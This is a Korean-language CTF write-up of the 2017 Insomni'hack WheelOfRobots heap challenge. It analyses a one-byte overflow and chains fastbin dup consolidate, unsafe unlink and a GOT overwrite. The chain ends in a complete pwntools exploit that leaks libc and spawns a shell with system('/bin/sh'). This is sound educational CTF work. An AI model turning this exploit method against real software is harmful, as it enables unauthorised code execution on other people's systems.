뇌
[ Pwnable ] 2017 Insomni'hack WheelOfRobots write-up 본문
[ 메모리 보호기법 ]
[ source code ]
# Alloc() 함수
- 크기별로 힙에 동적 할당을 하는 함수
- 한 케이스는 하나만 사용 가능
- 최대 3개까지 만들 수 있음
- opt
입력 받을 때 1byte Overflow
발생
int_input() 함수의 두번째 인자로 5를 주어 1byte Overflow를 발생시킬 수 있음
할당 돼있는지 확인하는 check_2를 변조시킬 수 있음
# Free() 함수
- Alloc() 함수로 할당한 청크를 free
하는 함수
- check_flag
때문에 double free
불가능
# Write_() 함수
- Alloc() 함수로 할당한 청크에 문자열 입력하는 함수
- 마찬가지로 check_flag
때문에 UAF
불가능
# Print_() 함수
- Alloc() 함수로 할당한 청크의 데이터를 출력하는 함수
- 랜덤으로 청크를 골라 출력
- 출력 후 exit()
함수로 종료
[ 공격 루틴 ]
1. alloc() 함수의 1byte Overflow
를 이용하여 check_2
를 변조한 후 Fastbin Dup Consolidate
발생 → prev_inuse
를 0으로 유지
2. fake chunk를 만들고 다음청크의 prev_size
를 변조
3. 1번, 2번으로 Unsafe Unlink
기법 사용 가능
2021/02/17 - [Pwnable/Heap] - [ Pwnable ] HITCON CTF 2014-stkof write-up 와 같음 ( oneshot
대신 system("/bin/sh");
실행 )
[ Exploit ]
from pwn import *
context.log_level = 'debug'
binary = './WheelOfRobots'
p = process(binary)
e = ELF(binary)
libc = e.libc
sa = lambda x, y : p.sendafter(x, y)
sla = lambda x, y : p.sendlineafter(x, y)
rvu = lambda x : p.recvuntil(x)
def Alloc(opt, size):
sla(': ', '1')
sla(':', str(opt))
if opt==2 or opt==3 or opt==6:
sla(': ', str(size))
def Free(opt):
sla(': ', '2')
sla(':', str(opt))
def Write(opt, data):
sla(': ', '3')
sla(':', str(opt))
sa(': ', data)
sleep(0.1)
def Print_():
sla(': ', '4')
heap_pointer_2 = 0x6030F0
Alloc(2, 2)
Alloc(3, 15)
Free(2)
#Alloc
sla(': ', '1')
sa(':', '\x34\x00\x00\x00\x01') # check_2 dup into 1
Free(2) # one more Free!! fastbin dup consolidate
Alloc(2, 2)
# fake chunk
pay = ''
pay += p64(0)*2 # header
pay += p64(heap_pointer_2-0x18) # fd
pay += p64(heap_pointer_2-0x10) # bk
pay += p64(0x20) # prev_size
Write(2, pay)
Free(3) # unsafe_unlink!!!
pay = ''
pay += p64(0) # dummy
pay += p64(e.got['free']) # heap_pointer_4
pay += p64(0) # heap_pointer_6
pay += p64(e.got['puts']) # heap_pointer_2
Write(2, pay)
Write(4, p64(e.plt['puts'])) # free@got dup into puts@plt
Free(2)
# libc leak
libc_base = u64(rvu('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
Write(4, p64(libc_base+libc.symbols['system'])) # free@got dup into system@plt
Alloc(5, 0)
Write(5, '/bin/sh\x00')
Free(5) # system("/bin/sh"); !!
p.interactive()
모르는 점
마지막에 "/bin/sh" 문자열을 넣기 위해 Alloc() 함수의 5번 옵션을 사용하였는데, 1번 옵션으로 fastbin
으로 만들면 corrupted size vs. prev_size
에러가 난다. 어떻게 하면 우회할 수 있을지 모르겠다.
'Pwnable > Heap' 카테고리의 다른 글
Heap에서 발생하는 엄청난 트릭들 (0) | 2022.01.11 |
---|---|
[ Pwnable ] HITCON CTF 2014-stkof write-up (0) | 2021.02.17 |
[ Practice ] tcache dup_1 (0) | 2021.02.15 |
[ Practice ] The House of Spirit_1 (0) | 2021.02.15 |
[ Practice ] fastbin dup_1 (0) | 2021.02.15 |